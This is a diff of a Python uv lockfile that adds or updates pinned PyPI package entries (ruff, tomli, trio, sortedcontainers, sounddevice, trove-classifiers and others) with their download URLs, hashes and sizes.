+ { url = "https://files.pythonhosted.org/packages/53/53/0a9385f047a858ba133d96f3f8e3c9c66a31cc7c4b445368ef88ebeac209/ruff-0.14.7-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6c623bbdc902de7ff715a93fa3bb377a4e42dd696937bf95669118773dbf0c50", size = 14975817, upload-time = "2025-11-28T20:55:24.107Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/d7/2f1c32af54c3b46e7fadbf8006d8b9bcfbea535c316b0bd8813d6fb25e5d/ruff-0.14.7-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f53accc02ed2d200fa621593cdb3c1ae06aa9b2c3cae70bc96f72f0000ae97a9", size = 14284549, upload-time = "2025-11-28T20:55:06.08Z" },
+ { url = "https://files.pythonhosted.org/packages/92/05/434ddd86becd64629c25fb6b4ce7637dd52a45cc4a4415a3008fe61c27b9/ruff-0.14.7-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:281f0e61a23fcdcffca210591f0f53aafaa15f9025b5b3f9706879aaa8683bc4", size = 14071389, upload-time = "2025-11-28T20:55:35.617Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/50/fdf89d4d80f7f9d4f420d26089a79b3bb1538fe44586b148451bc2ba8d9c/ruff-0.14.7-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:dbbaa5e14148965b91cb090236931182ee522a5fac9bc5575bafc5c07b9f9682", size = 14202679, upload-time = "2025-11-28T20:55:01.472Z" },
+ { url = "https://files.pythonhosted.org/packages/77/54/87b34988984555425ce967f08a36df0ebd339bb5d9d0e92a47e41151eafc/ruff-0.14.7-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:1464b6e54880c0fe2f2d6eaefb6db15373331414eddf89d6b903767ae2458143", size = 13147677, upload-time = "2025-11-28T20:55:19.933Z" },
+ { url = "https://files.pythonhosted.org/packages/67/29/f55e4d44edfe053918a16a3299e758e1c18eef216b7a7092550d7a9ec51c/ruff-0.14.7-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:f217ed871e4621ea6128460df57b19ce0580606c23aeab50f5de425d05226784", size = 13151392, upload-time = "2025-11-28T20:55:21.967Z" },
+ { url = "https://files.pythonhosted.org/packages/36/69/47aae6dbd4f1d9b4f7085f4d9dcc84e04561ee7ad067bf52e0f9b02e3209/ruff-0.14.7-py3-none-musllinux_1_2_i686.whl", hash = "sha256:6be02e849440ed3602d2eb478ff7ff07d53e3758f7948a2a598829660988619e", size = 13412230, upload-time = "2025-11-28T20:55:12.749Z" },
+ { url = "https://files.pythonhosted.org/packages/b7/4b/6e96cb6ba297f2ba502a231cd732ed7c3de98b1a896671b932a5eefa3804/ruff-0.14.7-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:19a0f116ee5e2b468dfe80c41c84e2bbd6b74f7b719bee86c2ecde0a34563bcc", size = 14195397, upload-time = "2025-11-28T20:54:56.896Z" },
+ { url = "https://files.pythonhosted.org/packages/69/82/251d5f1aa4dcad30aed491b4657cecd9fb4274214da6960ffec144c260f7/ruff-0.14.7-py3-none-win32.whl", hash = "sha256:e33052c9199b347c8937937163b9b149ef6ab2e4bb37b042e593da2e6f6cccfa", size = 13126751, upload-time = "2025-11-28T20:55:03.47Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/b5/d0b7d145963136b564806f6584647af45ab98946660d399ec4da79cae036/ruff-0.14.7-py3-none-win_amd64.whl", hash = "sha256:e17a20ad0d3fad47a326d773a042b924d3ac31c6ca6deb6c72e9e6b5f661a7c6", size = 14531726, upload-time = "2025-11-28T20:54:59.121Z" },
+ { url = "https://files.pythonhosted.org/packages/1d/d2/1637f4360ada6a368d3265bf39f2cf737a0aaab15ab520fc005903e883f8/ruff-0.14.7-py3-none-win_arm64.whl", hash = "sha256:be4d653d3bea1b19742fcc6502354e32f65cd61ff2fbdb365803ef2c2aec6228", size = 13609215, upload-time = "2025-11-28T20:55:15.375Z" },
]
[[package]]
@@ -1394,20 +2239,109 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/e9/44/75a9c9421471a6c4805dbf2356f7c181a29c1879239abab1ea2cc8f38b40/sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2", size = 10235, upload-time = "2024-02-25T23:20:01.196Z" },
]
+[[package]]
+name = "sortedcontainers"
+version = "2.4.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" },
+]
+
[[package]]
name = "sounddevice"
-version = "0.5.5"
+version = "0.5.3"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cffi" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/2a/f9/2592608737553638fca98e21e54bfec40bf577bb98a61b2770c912aab25e/sounddevice-0.5.5.tar.gz", hash = "sha256:22487b65198cb5bf2208755105b524f78ad173e5ab6b445bdab1c989f6698df3", size = 143191, upload-time = "2026-01-23T18:36:43.529Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/4e/4f/28e734898b870db15b6474453f19813d3c81b91c806d9e6f867bd6e4dd03/sounddevice-0.5.3.tar.gz", hash = "sha256:cbac2b60198fbab84533697e7c4904cc895ec69d5fb3973556c9eb74a4629b2c", size = 53465, upload-time = "2025-10-19T13:23:57.922Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/73/e7/9020e9f0f3df00432728f4c4044387468a743e3d9a4f91123d77be10010e/sounddevice-0.5.3-py3-none-any.whl", hash = "sha256:ea7738baa0a9f9fef7390f649e41c9f2c8ada776180e56c2ffd217133c92a806", size = 32670, upload-time = "2025-10-19T13:23:51.779Z" },
+ { url = "https://files.pythonhosted.org/packages/2f/39/714118f8413e0e353436914f2b976665161f1be2b6483ac15a8f61484c14/sounddevice-0.5.3-py3-none-macosx_10_6_x86_64.macosx_10_6_universal2.whl", hash = "sha256:278dc4451fff70934a176df048b77d80d7ce1623a6ec9db8b34b806f3112f9c2", size = 108306, upload-time = "2025-10-19T13:23:53.277Z" },
+ { url = "https://files.pythonhosted.org/packages/f5/74/52186e3e5c833d00273f7949a9383adff93692c6e02406bf359cb4d3e921/sounddevice-0.5.3-py3-none-win32.whl", hash = "sha256:845d6927bcf14e84be5292a61ab3359cf8e6b9145819ec6f3ac2619ff089a69c", size = 312882, upload-time = "2025-10-19T13:23:54.829Z" },
+ { url = "https://files.pythonhosted.org/packages/66/c7/16123d054aef6d445176c9122bfbe73c11087589b2413cab22aff5a7839a/sounddevice-0.5.3-py3-none-win_amd64.whl", hash = "sha256:f55ad20082efc2bdec06928e974fbcae07bc6c405409ae1334cefe7d377eb687", size = 364025, upload-time = "2025-10-19T13:23:56.362Z" },
+]
+
+[[package]]
+name = "tomli"
+version = "2.4.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f", size = 17543, upload-time = "2026-03-25T20:22:03.828Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30", size = 154704, upload-time = "2026-03-25T20:21:10.473Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/f7/675db52c7e46064a9aa928885a9b20f4124ecb9bc2e1ce74c9106648d202/tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a", size = 149454, upload-time = "2026-03-25T20:21:12.036Z" },
+ { url = "https://files.pythonhosted.org/packages/61/71/81c50943cf953efa35bce7646caab3cf457a7d8c030b27cfb40d7235f9ee/tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076", size = 237561, upload-time = "2026-03-25T20:21:13.098Z" },
+ { url = "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9", size = 243824, upload-time = "2026-03-25T20:21:14.569Z" },
+ { url = "https://files.pythonhosted.org/packages/22/e4/5a816ecdd1f8ca51fb756ef684b90f2780afc52fc67f987e3c61d800a46d/tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c", size = 242227, upload-time = "2026-03-25T20:21:15.712Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/49/2b2a0ef529aa6eec245d25f0c703e020a73955ad7edf73e7f54ddc608aa5/tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc", size = 247859, upload-time = "2026-03-25T20:21:17.001Z" },
+ { url = "https://files.pythonhosted.org/packages/83/bd/6c1a630eaca337e1e78c5903104f831bda934c426f9231429396ce3c3467/tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049", size = 97204, upload-time = "2026-03-25T20:21:18.079Z" },
+ { url = "https://files.pythonhosted.org/packages/42/59/71461df1a885647e10b6bb7802d0b8e66480c61f3f43079e0dcd315b3954/tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e", size = 108084, upload-time = "2026-03-25T20:21:18.978Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/83/dceca96142499c069475b790e7913b1044c1a4337e700751f48ed723f883/tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece", size = 95285, upload-time = "2026-03-25T20:21:20.309Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/ba/42f134a3fe2b370f555f44b1d72feebb94debcab01676bf918d0cb70e9aa/tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a", size = 155924, upload-time = "2026-03-25T20:21:21.626Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/c7/62d7a17c26487ade21c5422b646110f2162f1fcc95980ef7f63e73c68f14/tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085", size = 150018, upload-time = "2026-03-25T20:21:23.002Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/05/79d13d7c15f13bdef410bdd49a6485b1c37d28968314eabee452c22a7fda/tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9", size = 244948, upload-time = "2026-03-25T20:21:24.04Z" },
+ { url = "https://files.pythonhosted.org/packages/10/90/d62ce007a1c80d0b2c93e02cab211224756240884751b94ca72df8a875ca/tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5", size = 253341, upload-time = "2026-03-25T20:21:25.177Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/7e/caf6496d60152ad4ed09282c1885cca4eea150bfd007da84aea07bcc0a3e/tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585", size = 248159, upload-time = "2026-03-25T20:21:26.364Z" },
+ { url = "https://files.pythonhosted.org/packages/99/e7/c6f69c3120de34bbd882c6fba7975f3d7a746e9218e56ab46a1bc4b42552/tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1", size = 253290, upload-time = "2026-03-25T20:21:27.46Z" },
+ { url = "https://files.pythonhosted.org/packages/d6/2f/4a3c322f22c5c66c4b836ec58211641a4067364f5dcdd7b974b4c5da300c/tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917", size = 98141, upload-time = "2026-03-25T20:21:28.492Z" },
+ { url = "https://files.pythonhosted.org/packages/24/22/4daacd05391b92c55759d55eaee21e1dfaea86ce5c571f10083360adf534/tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9", size = 108847, upload-time = "2026-03-25T20:21:29.386Z" },
+ { url = "https://files.pythonhosted.org/packages/68/fd/70e768887666ddd9e9f5d85129e84910f2db2796f9096aa02b721a53098d/tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257", size = 95088, upload-time = "2026-03-25T20:21:30.677Z" },
+ { url = "https://files.pythonhosted.org/packages/07/06/b823a7e818c756d9a7123ba2cda7d07bc2dd32835648d1a7b7b7a05d848d/tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54", size = 155866, upload-time = "2026-03-25T20:21:31.65Z" },
+ { url = "https://files.pythonhosted.org/packages/14/6f/12645cf7f08e1a20c7eb8c297c6f11d31c1b50f316a7e7e1e1de6e2e7b7e/tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a", size = 149887, upload-time = "2026-03-25T20:21:33.028Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/e0/90637574e5e7212c09099c67ad349b04ec4d6020324539297b634a0192b0/tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897", size = 243704, upload-time = "2026-03-25T20:21:34.51Z" },
+ { url = "https://files.pythonhosted.org/packages/10/8f/d3ddb16c5a4befdf31a23307f72828686ab2096f068eaf56631e136c1fdd/tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f", size = 251628, upload-time = "2026-03-25T20:21:36.012Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/f1/dbeeb9116715abee2485bf0a12d07a8f31af94d71608c171c45f64c0469d/tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d", size = 247180, upload-time = "2026-03-25T20:21:37.136Z" },
+ { url = "https://files.pythonhosted.org/packages/d3/74/16336ffd19ed4da28a70959f92f506233bd7cfc2332b20bdb01591e8b1d1/tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5", size = 251674, upload-time = "2026-03-25T20:21:38.298Z" },
+ { url = "https://files.pythonhosted.org/packages/16/f9/229fa3434c590ddf6c0aa9af64d3af4b752540686cace29e6281e3458469/tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd", size = 97976, upload-time = "2026-03-25T20:21:39.316Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/1e/71dfd96bcc1c775420cb8befe7a9d35f2e5b1309798f009dca17b7708c1e/tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36", size = 108755, upload-time = "2026-03-25T20:21:40.248Z" },
+ { url = "https://files.pythonhosted.org/packages/83/7a/d34f422a021d62420b78f5c538e5b102f62bea616d1d75a13f0a88acb04a/tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd", size = 95265, upload-time = "2026-03-25T20:21:41.219Z" },
+ { url = "https://files.pythonhosted.org/packages/3c/fb/9a5c8d27dbab540869f7c1f8eb0abb3244189ce780ba9cd73f3770662072/tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf", size = 155726, upload-time = "2026-03-25T20:21:42.23Z" },
+ { url = "https://files.pythonhosted.org/packages/62/05/d2f816630cc771ad836af54f5001f47a6f611d2d39535364f148b6a92d6b/tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac", size = 149859, upload-time = "2026-03-25T20:21:43.386Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/48/66341bdb858ad9bd0ceab5a86f90eddab127cf8b046418009f2125630ecb/tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662", size = 244713, upload-time = "2026-03-25T20:21:44.474Z" },
+ { url = "https://files.pythonhosted.org/packages/df/6d/c5fad00d82b3c7a3ab6189bd4b10e60466f22cfe8a08a9394185c8a8111c/tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853", size = 252084, upload-time = "2026-03-25T20:21:45.62Z" },
+ { url = "https://files.pythonhosted.org/packages/00/71/3a69e86f3eafe8c7a59d008d245888051005bd657760e96d5fbfb0b740c2/tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15", size = 247973, upload-time = "2026-03-25T20:21:46.937Z" },
+ { url = "https://files.pythonhosted.org/packages/67/50/361e986652847fec4bd5e4a0208752fbe64689c603c7ae5ea7cb16b1c0ca/tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba", size = 256223, upload-time = "2026-03-25T20:21:48.467Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/9a/b4173689a9203472e5467217e0154b00e260621caa227b6fa01feab16998/tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6", size = 98973, upload-time = "2026-03-25T20:21:49.526Z" },
+ { url = "https://files.pythonhosted.org/packages/14/58/640ac93bf230cd27d002462c9af0d837779f8773bc03dee06b5835208214/tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7", size = 109082, upload-time = "2026-03-25T20:21:50.506Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/2f/702d5e05b227401c1068f0d386d79a589bb12bf64c3d2c72ce0631e3bc49/tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232", size = 96490, upload-time = "2026-03-25T20:21:51.474Z" },
+ { url = "https://files.pythonhosted.org/packages/45/4b/b877b05c8ba62927d9865dd980e34a755de541eb65fffba52b4cc495d4d2/tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4", size = 164263, upload-time = "2026-03-25T20:21:52.543Z" },
+ { url = "https://files.pythonhosted.org/packages/24/79/6ab420d37a270b89f7195dec5448f79400d9e9c1826df982f3f8e97b24fd/tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c", size = 160736, upload-time = "2026-03-25T20:21:53.674Z" },
+ { url = "https://files.pythonhosted.org/packages/02/e0/3630057d8eb170310785723ed5adcdfb7d50cb7e6455f85ba8a3deed642b/tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d", size = 270717, upload-time = "2026-03-25T20:21:55.129Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/b4/1613716072e544d1a7891f548d8f9ec6ce2faf42ca65acae01d76ea06bb0/tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41", size = 278461, upload-time = "2026-03-25T20:21:56.228Z" },
+ { url = "https://files.pythonhosted.org/packages/05/38/30f541baf6a3f6df77b3df16b01ba319221389e2da59427e221ef417ac0c/tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c", size = 274855, upload-time = "2026-03-25T20:21:57.653Z" },
+ { url = "https://files.pythonhosted.org/packages/77/a3/ec9dd4fd2c38e98de34223b995a3b34813e6bdadf86c75314c928350ed14/tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f", size = 283144, upload-time = "2026-03-25T20:21:59.089Z" },
+ { url = "https://files.pythonhosted.org/packages/ef/be/605a6261cac79fba2ec0c9827e986e00323a1945700969b8ee0b30d85453/tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8", size = 108683, upload-time = "2026-03-25T20:22:00.214Z" },
+ { url = "https://files.pythonhosted.org/packages/12/64/da524626d3b9cc40c168a13da8335fe1c51be12c0a63685cc6db7308daae/tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26", size = 121196, upload-time = "2026-03-25T20:22:01.169Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/cd/e80b62269fc78fc36c9af5a6b89c835baa8af28ff5ad28c7028d60860320/tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396", size = 100393, upload-time = "2026-03-25T20:22:02.137Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" },
+]
+
+[[package]]
+name = "trio"
+version = "0.31.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "attrs" },
+ { name = "cffi", marker = "(implementation_name != 'pypy' and os_name == 'nt') or (implementation_name == 'pypy' and extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2') or (os_name != 'nt' and extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "exceptiongroup", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "idna" },
+ { name = "outcome" },
+ { name = "sniffio" },
+ { name = "sortedcontainers" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/76/8f/c6e36dd11201e2a565977d8b13f0b027ba4593c1a80bed5185489178e257/trio-0.31.0.tar.gz", hash = "sha256:f71d551ccaa79d0cb73017a33ef3264fde8335728eb4c6391451fe5d253a9d5b", size = 605825, upload-time = "2025-09-09T15:17:15.242Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/31/5b/94237a3485620dbff9741df02ff6d8acaa5fdec67d81ab3f62e4d8511bf7/trio-0.31.0-py3-none-any.whl", hash = "sha256:b5d14cd6293d79298b49c3485ffd9c07e3ce03a6da8c7dfbe0cb3dd7dc9a4774", size = 512679, upload-time = "2025-09-09T15:17:13.821Z" },
+]
+
+[[package]]
+name = "trove-classifiers"
+version = "2026.6.1.19"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c2/e3/7ca82ee24c82d344584abd5b8637b3bd056f2900226e8d82fc22f1184b92/trove_classifiers-2026.6.1.19.tar.gz", hash = "sha256:c5132b4b61a829d11cfbd2d72e97f20a45ed6edb95e45c5efdeb5e00836b2745", size = 17059, upload-time = "2026-06-01T19:41:34.649Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/1e/0a/478e441fd049002cf308520c0d62dd8333e7c6cc8d997f0dda07b9fbcc46/sounddevice-0.5.5-py3-none-any.whl", hash = "sha256:30ff99f6c107f49d25ad16a45cacd8d91c25a1bcdd3e81a206b921a3a6405b1f", size = 32807, upload-time = "2026-01-23T18:36:35.649Z" },
- { url = "https://files.pythonhosted.org/packages/56/f9/c037c35f6d0b6bc3bc7bfb314f1d6f1f9a341328ef47cd63fc4f850a7b27/sounddevice-0.5.5-py3-none-macosx_10_6_x86_64.macosx_10_6_universal2.whl", hash = "sha256:05eb9fd6c54c38d67741441c19164c0dae8ce80453af2d8c4ad2e7823d15b722", size = 108557, upload-time = "2026-01-23T18:36:37.41Z" },
- { url = "https://files.pythonhosted.org/packages/88/a1/d19dd9889cd4bce2e233c4fac007cd8daaf5b9fe6e6a5d432cf17be0b807/sounddevice-0.5.5-py3-none-win32.whl", hash = "sha256:1234cc9b4c9df97b6cbe748146ae0ec64dd7d6e44739e8e42eaa5b595313a103", size = 317765, upload-time = "2026-01-23T18:36:39.047Z" },
- { url = "https://files.pythonhosted.org/packages/c3/0e/002ed7c4c1c2ab69031f78989d3b789fee3a7fba9e586eb2b81688bf4961/sounddevice-0.5.5-py3-none-win_amd64.whl", hash = "sha256:cfc6b2c49fb7f555591c78cb8ecf48d6a637fd5b6e1db5fec6ed9365d64b3519", size = 365324, upload-time = "2026-01-23T18:36:40.496Z" },
- { url = "https://files.pythonhosted.org/packages/4e/39/a61d4b83a7746b70d23d9173be688c0c6bfc7173772344b7442c2c155497/sounddevice-0.5.5-py3-none-win_arm64.whl", hash = "sha256:3861901ddd8230d2e0e8ae62ac320cdd4c688d81df89da036dcb812f757bb3e6", size = 317115, upload-time = "2026-01-23T18:36:42.235Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/a4/81502f486f01db95bc8320646a8a12511f5e556cb63d5e224d91816605c4/trove_classifiers-2026.6.1.19-py3-none-any.whl", hash = "sha256:ab4c4ec93cc4a4e7815fa759906e05e6bb3f2fbd92ea0f897288c6a43efd15b3", size = 14211, upload-time = "2026-06-01T19:41:33.434Z" },
]
[[package]]
@@ -1419,6 +2353,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" },
]
+[[package]]
+name = "types-pytz"
+version = "2025.2.0.20251108"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/40/ff/c047ddc68c803b46470a357454ef76f4acd8c1088f5cc4891cdd909bfcf6/types_pytz-2025.2.0.20251108.tar.gz", hash = "sha256:fca87917836ae843f07129567b74c1929f1870610681b4c92cb86a3df5817bdb", size = 10961, upload-time = "2025-11-08T02:55:57.001Z" }
